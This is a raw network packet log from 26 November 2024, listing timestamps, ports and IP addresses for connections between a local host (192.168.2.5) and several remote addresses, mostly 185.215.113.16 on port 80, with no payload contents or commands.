Nov 26, 2024 10:09:44.797758102 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.797830105 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.797916889 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.798141956 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.800555944 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.800612926 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.800653934 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.800669909 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.803234100 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.803329945 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.803451061 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.803539991 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.806302071 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.806396008 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.806430101 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.806763887 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.809118032 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.809233904 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.809400082 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.812213898 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.812347889 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.812385082 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.812417984 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.814621925 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.814764023 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.814809084 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.814868927 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.817615986 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.817708015 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.817740917 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.817785978 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.820750952 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.820868015 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.820934057 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.820980072 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.823415995 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.823534966 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.823582888 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.823582888 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.825861931 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.825965881 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.825999022 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.826231956 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.828763962 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.828871012 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.828913927 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.828959942 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.831358910 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.831440926 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.831481934 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.831481934 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.834085941 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.834156036 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.834181070 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.834203959 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.836951971 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.837043047 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.837095022 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.837315083 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.839888096 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.839970112 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.840081930 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.842596054 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.842711926 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.842722893 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.842854023 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.845519066 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.845634937 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.845642090 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.845691919 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.848325014 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.849484921 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.859524965 CET	443	49890	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:44.859673977 CET	443	49890	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:44.859783888 CET	49890	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:44.860236883 CET	49890	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:44.860236883 CET	49890	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:44.860249996 CET	443	49890	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:44.860260010 CET	443	49890	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:44.863440990 CET	49898	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:44.863478899 CET	443	49898	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:44.863655090 CET	49898	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:44.863826036 CET	49898	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:44.863838911 CET	443	49898	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:44.891391039 CET	49899	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:44.891426086 CET	443	49899	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:44.891529083 CET	49899	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:44.892187119 CET	49900	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:44.892205954 CET	443	49900	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:44.892266035 CET	49900	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:44.893708944 CET	49899	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:44.893726110 CET	443	49899	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:44.894051075 CET	49900	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:44.894062042 CET	443	49900	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:44.904917955 CET	443	49896	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:44.905412912 CET	49896	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:44.905424118 CET	443	49896	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:44.905889034 CET	49896	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:44.905893087 CET	443	49896	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:44.955182076 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.955251932 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.955288887 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.955343962 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.956027985 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.956093073 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.956223965 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.956290960 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.957984924 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.958035946 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.958040953 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.958113909 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.960261106 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.960338116 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.960354090 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.960405111 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.962188005 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.962254047 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.962275028 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.962380886 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.964145899 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.964235067 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.964384079 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.964457035 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.966386080 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.966451883 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.966490030 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.966557026 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.968549967 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.968653917 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.968736887 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.970695972 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.970757008 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.970761061 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.970957994 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.972573996 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.972650051 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.972657919 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.972795963 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.975322008 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.975394964 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.975419044 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.975477934 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.977449894 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.977507114 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.977639914 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.977746010 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.979721069 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.979782104 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.979816914 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.979875088 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.981967926 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.982036114 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.982039928 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.982127905 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.983798027 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.983833075 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.983850956 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.983887911 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.986846924 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.986977100 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.987153053 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.987229109 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.989341021 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.989393950 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.989430904 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.989444017 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.991539001 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.991617918 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.991650105 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.991770029 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.993583918 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.993654966 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.993690968 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.993890047 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.995488882 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.995582104 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.995595932 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.995670080 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.997338057 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.997407913 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.997554064 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.997608900 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.999094009 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.999170065 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.999178886 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.999296904 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.000858068 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.000933886 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.000972033 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.001024008 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.119363070 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.119376898 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.119463921 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.121026993 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.121094942 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.121145010 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.121145010 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.241594076 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.241615057 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.241657019 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.241677999 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.243215084 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.243232965 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.243264914 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.243280888 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.324691057 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.324714899 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.324728012 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.324742079 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.324754953 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.324776888 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.324801922 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.324814081 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.324820042 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.324842930 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.324848890 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.324855089 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.324860096 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.324866056 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.324872017 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.324877977 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.324882984 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.324897051 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.324903011 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.324908018 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325057983 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325073004 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325078964 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325084925 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325090885 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325092077 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325098991 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325112104 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325124025 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325143099 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325148106 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325158119 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325170040 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325175047 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325184107 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325196028 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325201988 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325206995 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325218916 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325227976 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325231075 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325242996 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325242996 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325257063 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325268030 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325269938 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325278997 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325287104 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325308084 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325309038 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325321913 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325330973 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325335026 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325347900 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325356007 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325362921 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325375080 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325380087 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325387955 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325400114 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325407982 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325412035 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325424910 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325428009 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325437069 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325448036 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325449944 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325469017 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325495005 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325578928 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325591087 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325602055 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325613976 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325624943 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325633049 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325637102 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325648069 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325651884 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325660944 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325664997 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325676918 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325689077 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325692892 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325695038 CET	443	49894	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:45.325695992 CET	443	49892	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:45.325700998 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325711966 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325723886 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325725079 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325738907 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325750113 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325757027 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325763941 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325772047 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325772047 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325773954 CET	443	49892	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:45.325773954 CET	443	49894	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:45.325789928 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325793028 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325803041 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325815916 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325819969 CET	49894	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:45.325824976 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325829029 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325840950 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325846910 CET	49892	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:45.325849056 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325853109 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325865030 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325870037 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325877905 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325886011 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325891018 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325905085 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325906038 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325917959 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325930119 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325930119 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325946093 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325954914 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325958014 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325969934 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325974941 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.325983047 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.325998068 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326003075 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326018095 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326028109 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326030970 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326042891 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326044083 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326057911 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326069117 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326071978 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326087952 CET	80	49891	185.215.113.16	192.168.2.5
